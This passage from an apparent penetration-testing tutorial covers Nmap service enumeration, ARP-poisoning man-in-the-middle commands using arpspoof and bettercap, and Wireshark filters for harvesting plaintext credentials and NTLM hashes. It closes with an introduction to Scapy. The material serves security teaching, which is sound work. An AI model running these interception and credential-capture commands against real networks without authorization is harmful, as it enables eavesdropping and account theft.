        &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;ttl&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mi"&gt;128&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;    → Likely Windows (TTL &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ttl&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;, initial TTL probably 128)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;    → Likely network device (TTL &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ttl&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;, initial TTL probably 255)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nf"&gt;icmp_sweep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1/24&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  3.2.6 Lab Reference — Enumeration with Nmap
&lt;/h2&gt;

&lt;p&gt;This section consolidates the professional enumeration workflow using Nmap — the commands and reasoning you would apply in a real lab or engagement environment against discovered targets.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Enumeration Mindset
&lt;/h3&gt;

&lt;p&gt;When you sit down at your attack machine with a list of open ports from your scan results, your mindset should be systematic: for each open port, identify the service, understand what information that service can expose, and use the right tools to extract that information.&lt;/p&gt;

&lt;p&gt;The Pixel Paradise network (from the engagement scenario) contains diverse device types. A camera with an open HTTP port might have a default-credential web interface. A VoIP phone with SIP on port 5060 might expose extension numbers and authentication data. A Windows workstation with SMB open might have shares accessible without credentials. A network printer with SNMP might reveal the entire printer configuration including previously printed documents.&lt;/p&gt;

&lt;p&gt;Treating enumeration as a generic "run these commands" exercise misses the point. Each discovered service is a potential source of intelligence that feeds into the attack phase. The question for every open port is: "What does this service know, and how can I extract it?"&lt;/p&gt;

&lt;h3&gt;
  
  
  Systematic Enumeration Commands
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# ============================================================&lt;/span&gt;
&lt;span class="c"&gt;# COMPLETE PROFESSIONAL ENUMERATION WORKFLOW&lt;/span&gt;
&lt;span class="c"&gt;# ============================================================&lt;/span&gt;

&lt;span class="c"&gt;# Target: 10.10.10.50 (discovered to have several open ports)&lt;/span&gt;

&lt;span class="c"&gt;# STEP 1: Get full port and service detail for this specific host&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-O&lt;/span&gt; &lt;span class="nt"&gt;-p-&lt;/span&gt; &lt;span class="nt"&gt;-T4&lt;/span&gt; &lt;span class="nt"&gt;--open&lt;/span&gt; &lt;span class="nt"&gt;--reason&lt;/span&gt; 10.10.10.50 &lt;span class="nt"&gt;-oA&lt;/span&gt; host_50_full

&lt;span class="c"&gt;# This command combines:&lt;/span&gt;
&lt;span class="c"&gt;# -sS    = SYN scan (fast, fewer logs)&lt;/span&gt;
&lt;span class="c"&gt;# -sV    = Service and version detection&lt;/span&gt;
&lt;span class="c"&gt;# -sC    = Default NSE scripts (runs category "default")&lt;/span&gt;
&lt;span class="c"&gt;# -O     = OS detection&lt;/span&gt;
&lt;span class="c"&gt;# -p-    = All 65535 TCP ports&lt;/span&gt;
&lt;span class="c"&gt;# -T4    = Aggressive timing (good for internal LAN)&lt;/span&gt;
&lt;span class="c"&gt;# --open = Only show open ports in output&lt;/span&gt;
&lt;span class="c"&gt;# --reason = Show why Nmap classified each port as it did&lt;/span&gt;
&lt;span class="c"&gt;# -oA    = Save all output formats (normal, XML, grepable)&lt;/span&gt;


&lt;span class="c"&gt;# STEP 2: Based on what is open, run targeted enumeration&lt;/span&gt;

&lt;span class="c"&gt;# If port 22 (SSH) is open:&lt;/span&gt;
nmap &lt;span class="nt"&gt;--script&lt;/span&gt; ssh-auth-methods &lt;span class="nt"&gt;--script-args&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"ssh.user=root"&lt;/span&gt; 10.10.10.50
nmap &lt;span class="nt"&gt;--script&lt;/span&gt; ssh2-enum-algos 10.10.10.50
&lt;span class="c"&gt;# Look for: password authentication allowed (vs key-only), weak algorithm support&lt;/span&gt;

&lt;span class="c"&gt;# If port 80/443 (HTTP/HTTPS) is open:&lt;/span&gt;
nikto &lt;span class="nt"&gt;-h&lt;/span&gt; http://10.10.10.50                     &lt;span class="c"&gt;# Vulnerability scan&lt;/span&gt;
gobuster &lt;span class="nb"&gt;dir&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; http://10.10.10.50 &lt;span class="se"&gt;\&lt;/span&gt;
             &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/seclists/Discovery/Web-Content/common.txt &lt;span class="se"&gt;\&lt;/span&gt;
             &lt;span class="nt"&gt;-x&lt;/span&gt; php,html,txt
whatweb &lt;span class="nt"&gt;-v&lt;/span&gt; http://10.10.10.50                   &lt;span class="c"&gt;# Technology fingerprint&lt;/span&gt;
curl &lt;span class="nt"&gt;-I&lt;/span&gt; http://10.10.10.50                      &lt;span class="c"&gt;# Header analysis&lt;/span&gt;

&lt;span class="c"&gt;# If port 21 (FTP) is open:&lt;/span&gt;
nmap &lt;span class="nt"&gt;--script&lt;/span&gt; ftp-anon 10.10.10.50              &lt;span class="c"&gt;# Check anonymous login&lt;/span&gt;
nmap &lt;span class="nt"&gt;--script&lt;/span&gt; ftp-syst 10.10.10.50              &lt;span class="c"&gt;# System information&lt;/span&gt;
ftp 10.10.10.50                                 &lt;span class="c"&gt;# Manual connection attempt&lt;/span&gt;
&lt;span class="c"&gt;# Username: anonymous, Password: anything@anything.com&lt;/span&gt;

&lt;span class="c"&gt;# If port 25 (SMTP) is open:&lt;/span&gt;
nmap &lt;span class="nt"&gt;--script&lt;/span&gt; smtp-commands 10.10.10.50
nmap &lt;span class="nt"&gt;--script&lt;/span&gt; smtp-enum-users 10.10.10.50
smtp-user-enum &lt;span class="nt"&gt;-M&lt;/span&gt; VRFY &lt;span class="nt"&gt;-U&lt;/span&gt; /usr/share/seclists/Usernames/Names/names.txt &lt;span class="nt"&gt;-t&lt;/span&gt; 10.10.10.50

&lt;span class="c"&gt;# If port 53 (DNS) is open:&lt;/span&gt;
dig axfr targetco.com @10.10.10.50              &lt;span class="c"&gt;# Zone transfer attempt&lt;/span&gt;
dnsrecon &lt;span class="nt"&gt;-d&lt;/span&gt; targetco.com &lt;span class="nt"&gt;-t&lt;/span&gt; axfr &lt;span class="nt"&gt;-n&lt;/span&gt; 10.10.10.50

&lt;span class="c"&gt;# If port 139/445 (SMB) is open:&lt;/span&gt;
enum4linux-ng &lt;span class="nt"&gt;-A&lt;/span&gt; 10.10.10.50                    &lt;span class="c"&gt;# Full SMB enumeration&lt;/span&gt;
smbclient &lt;span class="nt"&gt;-L&lt;/span&gt; //10.10.10.50 &lt;span class="nt"&gt;-N&lt;/span&gt;
smbmap &lt;span class="nt"&gt;-H&lt;/span&gt; 10.10.10.50
nmap &lt;span class="nt"&gt;--script&lt;/span&gt; &lt;span class="s2"&gt;"smb-vuln-*"&lt;/span&gt; 10.10.10.50         &lt;span class="c"&gt;# Vulnerability checks&lt;/span&gt;

&lt;span class="c"&gt;# If port 161 (SNMP/UDP) is open:&lt;/span&gt;
onesixtyone &lt;span class="nt"&gt;-c&lt;/span&gt; /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt 10.10.10.50
snmp-check &lt;span class="nt"&gt;-t&lt;/span&gt; 10.10.10.50 &lt;span class="nt"&gt;-c&lt;/span&gt; public &lt;span class="nt"&gt;-v&lt;/span&gt; 2c      &lt;span class="c"&gt;# If "public" works&lt;/span&gt;

&lt;span class="c"&gt;# If port 389 (LDAP) is open:&lt;/span&gt;
ldapsearch &lt;span class="nt"&gt;-x&lt;/span&gt; &lt;span class="nt"&gt;-H&lt;/span&gt; ldap://10.10.10.50 &lt;span class="nt"&gt;-b&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; base namingContexts  &lt;span class="c"&gt;# Get base DN&lt;/span&gt;
ldapsearch &lt;span class="nt"&gt;-x&lt;/span&gt; &lt;span class="nt"&gt;-H&lt;/span&gt; ldap://10.10.10.50 &lt;span class="nt"&gt;-b&lt;/span&gt; &lt;span class="s2"&gt;"DC=targetco,DC=com"&lt;/span&gt; &lt;span class="s2"&gt;"(objectClass=*)"&lt;/span&gt;

&lt;span class="c"&gt;# If port 3306 (MySQL) is open:&lt;/span&gt;
nmap &lt;span class="nt"&gt;--script&lt;/span&gt; mysql-info 10.10.10.50
nmap &lt;span class="nt"&gt;--script&lt;/span&gt; mysql-empty-password 10.10.10.50  &lt;span class="c"&gt;# Check for no-password root&lt;/span&gt;
mysql &lt;span class="nt"&gt;-h&lt;/span&gt; 10.10.10.50 &lt;span class="nt"&gt;-u&lt;/span&gt; root &lt;span class="nt"&gt;--connect-timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;5  &lt;span class="c"&gt;# Manual login attempt&lt;/span&gt;

&lt;span class="c"&gt;# If port 3389 (RDP) is open:&lt;/span&gt;
nmap &lt;span class="nt"&gt;--script&lt;/span&gt; rdp-enum-encryption 10.10.10.50
nmap &lt;span class="nt"&gt;--script&lt;/span&gt; rdp-vuln-ms12-020 10.10.10.50    &lt;span class="c"&gt;# DoS vulnerability check&lt;/span&gt;

&lt;span class="c"&gt;# If port 6379 (Redis) is open:&lt;/span&gt;
redis-cli &lt;span class="nt"&gt;-h&lt;/span&gt; 10.10.10.50 ping                  &lt;span class="c"&gt;# Basic connectivity — no auth = critical finding&lt;/span&gt;
redis-cli &lt;span class="nt"&gt;-h&lt;/span&gt; 10.10.10.50 info server           &lt;span class="c"&gt;# Server information&lt;/span&gt;
redis-cli &lt;span class="nt"&gt;-h&lt;/span&gt; 10.10.10.50 config get &lt;span class="k"&gt;*&lt;/span&gt;          &lt;span class="c"&gt;# All configuration&lt;/span&gt;

&lt;span class="c"&gt;# If port 27017 (MongoDB) is open:&lt;/span&gt;
nmap &lt;span class="nt"&gt;--script&lt;/span&gt; mongodb-info 10.10.10.50
mongo &lt;span class="nt"&gt;--host&lt;/span&gt; 10.10.10.50 &lt;span class="nt"&gt;--eval&lt;/span&gt; &lt;span class="s2"&gt;"db.adminCommand({listDatabases:1})"&lt;/span&gt;  &lt;span class="c"&gt;# No-auth check&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  3.2.7 Packet Inspection and Eavesdropping
&lt;/h2&gt;

&lt;h3&gt;
  
  
  What Eavesdropping Actually Means in a Network Context
&lt;/h3&gt;

&lt;p&gt;When you are physically in a room with someone, eavesdropping means positioning yourself close enough to hear their conversation. Network eavesdropping is the same idea — positioning yourself on the network so that traffic flows through or past your machine, and capturing that traffic to analyze it.&lt;/p&gt;

&lt;p&gt;The concept of "listening" to a network is both simpler and more complex than it sounds. Simpler because the data is already there — bytes are literally flowing through the network infrastructure, and if your network interface can see them, you can capture them. More complex because modern switched networks specifically prevent most ports from seeing traffic that is not addressed to them.&lt;/p&gt;

&lt;p&gt;Understanding this requires understanding the difference between &lt;strong&gt;hubs&lt;/strong&gt; and &lt;strong&gt;switches&lt;/strong&gt; — two types of devices that connect computers in a local network.&lt;/p&gt;

&lt;p&gt;A hub is a simple, old-fashioned device. When it receives a packet on one port, it forwards that packet out of every other port — broadcasting everything to everyone. Every computer connected to a hub can see every other computer's traffic, just by putting its network interface into "promiscuous mode" (accepting all packets, not just those addressed to it). Hubs are now obsolete, but they illustrate an important point: in an environment where all traffic is broadcast, eavesdropping is trivially easy.&lt;/p&gt;

&lt;p&gt;A switch is intelligent. It learns the MAC address of the device connected to each port and builds a table (called the CAM table or MAC address table) that maps MAC addresses to port numbers. When it receives a packet destined for a specific MAC address, it forwards that packet only to the port where that MAC address is connected — not to every port. This isolation means a computer on port 5 normally cannot see traffic between computers on ports 3 and 7.&lt;/p&gt;

&lt;p&gt;"Normally" is doing a lot of work in that sentence. Several techniques break this isolation:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Promiscuous mode&lt;/strong&gt; still captures broadcast traffic (packets addressed to the broadcast MAC &lt;code&gt;ff:ff:ff:ff:ff:ff&lt;/code&gt;, which go to all ports) and any traffic the switch mistakenly sends to your port. This is enough to capture ARP traffic and some discovery protocols but not individual unicast sessions between other hosts.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ARP Poisoning&lt;/strong&gt; is the primary technique for eavesdropping on switched networks during authorized penetration tests. By poisoning the ARP caches of two communicating hosts, an attacker inserts themselves as the man-in-the-middle — all traffic between the two hosts flows through the attacker's machine, where it can be captured and analyzed before being forwarded to the real destination.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;VLAN Hopping&lt;/strong&gt; exploits misconfigurations in switch trunk port settings to send traffic onto VLANs (Virtual Local Area Networks) other than the one you are assigned to. VLANs are network segmentation technology — they create virtual separation between groups of devices on the same physical switch. A successful VLAN hop breaks this separation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Switch port mirroring (SPAN port)&lt;/strong&gt; is the legitimate, authorized version of eavesdropping. Many managed switches allow an administrator to configure a "SPAN port" that mirrors all traffic from specified ports to a monitoring port. During authorized penetration tests, the client may configure a SPAN port connected to your testing machine, giving you visibility into all traffic on the monitored segments without needing any attack technique.&lt;/p&gt;

&lt;h3&gt;
  
  
  What Is Capturable vs. What Is Encrypted
&lt;/h3&gt;

&lt;p&gt;This is a critical distinction that determines the value of eavesdropping in any given environment.&lt;/p&gt;

&lt;p&gt;For &lt;strong&gt;unencrypted protocols&lt;/strong&gt;, packet capture is devastating. Telnet passes every keystroke in plaintext — capturing a Telnet session means seeing every command the user types and every response the server sends, including passwords entered at login prompts. FTP passes credentials in plaintext. HTTP passes all web traffic in plaintext — including POST bodies containing login form data, including session cookies that can be replayed to impersonate authenticated users.&lt;/p&gt;

&lt;p&gt;SNMP v1 and v2c pass community strings in plaintext. Capturing a single SNMP query reveals the community string, which can then be used for extensive enumeration. POP3 and IMAP without TLS pass email credentials and content in plaintext.&lt;/p&gt;

&lt;p&gt;For &lt;strong&gt;encrypted protocols&lt;/strong&gt;, the content is protected, but metadata is still visible. You can see that a connection was made from IP address A to IP address B on port 443, at what time, for how long, and how many bytes were transferred — even if you cannot see the actual content. This metadata alone can be revealing: connections from an internal server to an unusual external IP address might indicate malware C2 communication, even though the content is encrypted.&lt;/p&gt;

&lt;p&gt;The important nuance: encryption at the transport layer (TLS/SSL) protects content, but vulnerabilities in TLS itself (covered extensively in Section 3.1.13 on cryptographic flaws) can sometimes expose encrypted traffic to decryption. SSL stripping attacks can downgrade HTTPS connections to HTTP in some scenarios, removing the encryption protection entirely.&lt;/p&gt;

&lt;h3&gt;
  
  
  ARP Poisoning — The MitM Foundation
&lt;/h3&gt;

&lt;p&gt;ARP (Address Resolution Protocol) is the protocol that translates between IP addresses and MAC addresses on a local network. When computer A wants to send a packet to computer B (IP 192.168.1.2), it first broadcasts an ARP question: "Who has 192.168.1.2? Tell 192.168.1.1." Computer B responds: "192.168.1.2 is at MAC AA:BB:CC:DD:EE:FF." Computer A caches this mapping in its ARP table and uses it for all future packets to that IP.&lt;/p&gt;

&lt;p&gt;The critical weakness: ARP has no authentication whatsoever. Any device can send an ARP reply claiming any IP-to-MAC mapping, and the receiving device will update its ARP cache with the new information — even without having asked a question. These are called "gratuitous ARP replies."&lt;/p&gt;

&lt;p&gt;ARP poisoning exploits this by sending fake gratuitous ARP replies to both sides of a communication:&lt;/p&gt;

&lt;p&gt;To the victim (say, a workstation at 192.168.1.100): "192.168.1.1 (the gateway) is at MAC AA:BB:CC:11:22:33 (the attacker's MAC)."&lt;/p&gt;

&lt;p&gt;To the gateway (192.168.1.1): "192.168.1.100 (the workstation) is at MAC AA:BB:CC:11:22:33 (the attacker's MAC)."&lt;/p&gt;

&lt;p&gt;Now when the workstation tries to send traffic to the internet, it sends it to the attacker's MAC instead of the gateway's MAC. The attacker receives the traffic, captures it, and then forwards it to the real gateway — so the communication still works from the victim's perspective. The victim sees no disruption. The attacker sees everything.&lt;/p&gt;

&lt;p&gt;This must only be performed with explicit authorization on networks you have permission to test. ARP poisoning can cause network disruption if IP forwarding is not properly enabled on the attacking machine — traffic gets captured but not forwarded, causing apparent network outages for the victim.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# ARP poisoning using arpspoof (from the dsniff package)&lt;/span&gt;
&lt;span class="c"&gt;# You need TWO terminal windows running simultaneously&lt;/span&gt;

&lt;span class="c"&gt;# Terminal 1: Tell the VICTIM that YOU are the GATEWAY&lt;/span&gt;
&lt;span class="c"&gt;# -i eth0 = use this network interface&lt;/span&gt;
&lt;span class="c"&gt;# -t 192.168.1.100 = poison this target's ARP cache&lt;/span&gt;
&lt;span class="c"&gt;# 192.168.1.1 = claim to be this IP (the gateway)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;arpspoof &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-t&lt;/span&gt; 192.168.1.100 192.168.1.1

&lt;span class="c"&gt;# Terminal 2: Tell the GATEWAY that YOU are the VICTIM&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;arpspoof &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-t&lt;/span&gt; 192.168.1.1 192.168.1.100

&lt;span class="c"&gt;# CRITICAL: Enable IP forwarding so traffic actually passes through&lt;/span&gt;
&lt;span class="c"&gt;# Without this, all victim traffic is captured but not forwarded&lt;/span&gt;
&lt;span class="c"&gt;# — the victim's internet connection appears to stop working&lt;/span&gt;
&lt;span class="nb"&gt;echo &lt;/span&gt;1 | &lt;span class="nb"&gt;sudo tee&lt;/span&gt; /proc/sys/net/ipv4/ip_forward

&lt;span class="c"&gt;# Bettercap — the modern, more powerful alternative&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;bettercap &lt;span class="nt"&gt;-iface&lt;/span&gt; eth0

&lt;span class="c"&gt;# Inside bettercap's interactive console:&lt;/span&gt;
&lt;span class="c"&gt;# Discover hosts on the network&lt;/span&gt;
net.probe on
&lt;span class="c"&gt;# Wait a moment, then show discovered hosts&lt;/span&gt;
net.show
&lt;span class="c"&gt;# Set target for ARP poisoning&lt;/span&gt;
&lt;span class="nb"&gt;set &lt;/span&gt;arp.spoof.targets 192.168.1.100
&lt;span class="c"&gt;# Start ARP poisoning&lt;/span&gt;
arp.spoof on
&lt;span class="c"&gt;# Start capturing traffic&lt;/span&gt;
net.sniff on
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  3.2.8 Practice — Packet Inspection in a Real Scenario
&lt;/h2&gt;

&lt;h3&gt;
  
  
  A Real-World Eavesdropping Scenario
&lt;/h3&gt;

&lt;p&gt;To understand why packet inspection and eavesdropping matters in a penetration test, consider this realistic scenario: you are conducting an internal network assessment for a financial company. Your scan has found a /24 network segment with mixed devices. You have established a man-in-the-middle position on this segment by ARP poisoning the default gateway.&lt;/p&gt;

&lt;p&gt;With traffic flowing through your machine, you start Wireshark and look at what you can see. Within minutes, a striking picture emerges. Periodic packets are flowing from one server to a network printer — and they are SNMP queries, completely unencrypted, revealing the community string "private" in plaintext. That "private" community string is the read-write community string for the printer's management interface. You now have full management access to every printer on the network — including the ability to retrieve previously printed documents from the printer's internal storage.&lt;/p&gt;

&lt;p&gt;Five minutes later, you see FTP traffic between an employee's workstation and an internal file server. FTP sends credentials in plaintext. You can read: "USER jsmith" and "PASS Summer2024!" — a credential that, because of password reuse, might also work for the company's VPN, email system, or Active Directory.&lt;/p&gt;

&lt;p&gt;Later in the capture, a developer connects to their development database and the connection string — including server address, database name, username, and password — passes in cleartext in the HTTP traffic from a web application still in HTTP (not HTTPS) during development.&lt;/p&gt;

&lt;p&gt;None of this required exploiting a single software vulnerability. It was all available in the network traffic, captured entirely legally within the scope of the authorized penetration test. This scenario illustrates precisely why encryption in transit matters so much — and why its absence is always a critical finding in a penetration test report.&lt;/p&gt;

&lt;h3&gt;
  
  
  Wireshark Display Filters in Practice
&lt;/h3&gt;

&lt;p&gt;When analyzing captured traffic, the challenge is not capturing packets — it is finding the relevant packets among potentially millions. A busy network generates enormous amounts of traffic, and Wireshark display filters are the primary tool for cutting through the noise.&lt;/p&gt;

&lt;p&gt;Think of display filters as SQL WHERE clauses for network traffic. You can filter on any field of any protocol with equality, inequality, range, and string match operators. You can combine conditions with AND, OR, and NOT. The filter language is intuitive once you understand the pattern: &lt;code&gt;protocol.field_name == value&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The most practically useful filters for penetration testing fall into a few categories:&lt;/p&gt;

&lt;p&gt;For finding &lt;strong&gt;authentication traffic&lt;/strong&gt;, you are looking for HTTP POST requests (which carry form data including login credentials), FTP credential commands (USER and PASS), and cleartext authentication in older protocols. &lt;/p&gt;

&lt;p&gt;For finding &lt;strong&gt;data of interest&lt;/strong&gt;, you are searching packet contents for keywords like "password," "credential," "admin," or specific data types relevant to the engagement (credit card numbers, social security numbers, PHI).&lt;/p&gt;

&lt;p&gt;For &lt;strong&gt;credential capture via NTLM&lt;/strong&gt;, SMB traffic on a Windows network carries NTLM authentication hashes during the login process. These hashes are not cleartext passwords, but they can be cracked offline or used directly in pass-the-hash attacks.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Launch Wireshark from command line&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;wireshark &amp;amp;

&lt;span class="c"&gt;# Or use the command-line version for remote/headless scenarios&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tshark &lt;span class="nt"&gt;-i&lt;/span&gt; eth0

&lt;span class="c"&gt;# Capture to file for later analysis&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tshark &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-w&lt;/span&gt; capture.pcap

&lt;span class="c"&gt;# Read from capture file&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; capture.pcap

&lt;span class="c"&gt;# Apply display filter while reading&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; capture.pcap &lt;span class="nt"&gt;-Y&lt;/span&gt; &lt;span class="s2"&gt;"http.request.method == POST"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In Wireshark's display filter bar, these filters are typed directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Show only HTTP POST requests (login form submissions)&lt;/span&gt;
http.request.method &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;"POST"&lt;/span&gt;

&lt;span class="c"&gt;# Show all HTTP traffic containing the word "password" anywhere&lt;/span&gt;
http contains &lt;span class="s2"&gt;"password"&lt;/span&gt;

&lt;span class="c"&gt;# Show traffic between two specific hosts&lt;/span&gt;
ip.addr &lt;span class="o"&gt;==&lt;/span&gt; 192.168.1.100 &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; ip.addr &lt;span class="o"&gt;==&lt;/span&gt; 192.168.1.200

&lt;span class="c"&gt;# Show FTP authentication commands&lt;/span&gt;
ftp.request.command &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;"USER"&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; ftp.request.command &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;"PASS"&lt;/span&gt;

&lt;span class="c"&gt;# Show all DNS queries (not responses) — what are users looking up?&lt;/span&gt;
dns.flags.response &lt;span class="o"&gt;==&lt;/span&gt; 0

&lt;span class="c"&gt;# Show NTLM authentication exchanges in SMB traffic&lt;/span&gt;
ntlmssp

&lt;span class="c"&gt;# Show all traffic to or from a specific subnet&lt;/span&gt;
ip.addr &lt;span class="o"&gt;==&lt;/span&gt; 10.10.10.0/24

&lt;span class="c"&gt;# Show everything EXCEPT your SSH connection (so you do not pollute the capture)&lt;/span&gt;
not &lt;span class="o"&gt;(&lt;/span&gt;tcp.port &lt;span class="o"&gt;==&lt;/span&gt; 22 &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; ip.addr &lt;span class="o"&gt;==&lt;/span&gt; your_ip&lt;span class="o"&gt;)&lt;/span&gt;

&lt;span class="c"&gt;# Show only TCP connection initiations (SYN packets without ACK)&lt;/span&gt;
tcp.flags.syn &lt;span class="o"&gt;==&lt;/span&gt; 1 &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; tcp.flags.ack &lt;span class="o"&gt;==&lt;/span&gt; 0

&lt;span class="c"&gt;# Find large data transfers that might be exfiltration&lt;/span&gt;
tcp.len &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; 10000

&lt;span class="c"&gt;# Show all SNMP traffic (where community strings live)&lt;/span&gt;
snmp

&lt;span class="c"&gt;# Show all Telnet traffic (fully cleartext)&lt;/span&gt;
telnet
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The "Follow TCP Stream" feature in Wireshark is particularly powerful — right-clicking any packet in a session and selecting "Follow → TCP Stream" reassembles the entire conversation between the two parties and displays it as human-readable text, exactly as it passed over the wire. A login session's credentials, a file transfer's contents, a database query and its results — all visible in a single coherent view.&lt;/p&gt;




&lt;h2&gt;
  
  
  3.2.9 Packet Crafting with Scapy — Full Professional Reference
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Philosophy of Packet Crafting
&lt;/h3&gt;

&lt;p&gt;To use Scapy well, you need to understand what you are actually doing at a technical level. Network communication is, at its foundation, a set of structured byte sequences. An IP packet is not magic — it is a sequence of bytes with specific fields at specific positions. The first byte contains version and header length information. Bytes 2-3 are the total length. Bytes 8-9 are the TTL and protocol. Bytes 12-15 are the source IP address. Bytes 16-19 are the destination IP address.&lt;/p&gt;

&lt;p&gt;Every protocol is defined by a specification (usually an RFC — Request for Comments document) that precisely defines which fields appear at which byte positions, how large each field is, and what values are valid. TCP's SYN flag lives in bit 1 (zero-indexed) of byte 13 in the TCP header. ACK is in bit 4. FIN is in bit 0. Scapy knows all of this — it encodes every RFC-defined protocol as a Python class where each field is a named attribute.&lt;/p&gt;

&lt;p&gt;When you set &lt;code&gt;TCP(flags="S")&lt;/code&gt; in Scapy, you are setting the SYN bit in that byte of the TCP header. When you set &lt;code&gt;IP(ttl=128)&lt;/code&gt;, you are writing 128 into byte 8 of the IP header. Scapy translates your Python attribute assignments into the correct byte positions in the packet before sending it.&lt;/p&gt;

&lt;p&gt;This is why Scapy is so powerful: it is a protocol-aware byte constructor that understands every standard protocol but does not constrain you to valid values. You can set TTL to 0, flags to illegal combinations, sequence numbers to any value — because sometimes security testing requires sending exactly those invalid packets to see how a target responds.&lt;/p&gt;

&lt;h3&gt;
  
  
  Scapy Architecture — Send and Receive Functions
&lt;/h3&gt;

&lt;p&gt;Scapy has four primary functions for sending packets and receiving responses, and understanding which to use when is important:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;send()&lt;/code&gt; sends a packet at Layer 3 (IP level) and does not wait for a response. Use this when you want to send a packet and do not care about the response — like sending a RST to close a half-open connection.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sendp()&lt;/code&gt; sends a packet at Layer 2 (Ethernet level) and does not wait for a response. Use this when you need to send a raw Ethernet frame, such as in ARP operations.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sr()&lt;/code&gt; sends packets at Layer 3 and waits for responses. It returns two lists: answered (matched request-response pairs) and unanswered (requests with no response). Use this for scanning multiple targets simultaneously and processing all responses.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sr1()&lt;/code&gt; sends one packet at Layer 3 and waits for one response. Returns the single response packet (or None if no response). Use this when you are testing a single port or target and want to check the response before proceeding.&lt;/p&gt;

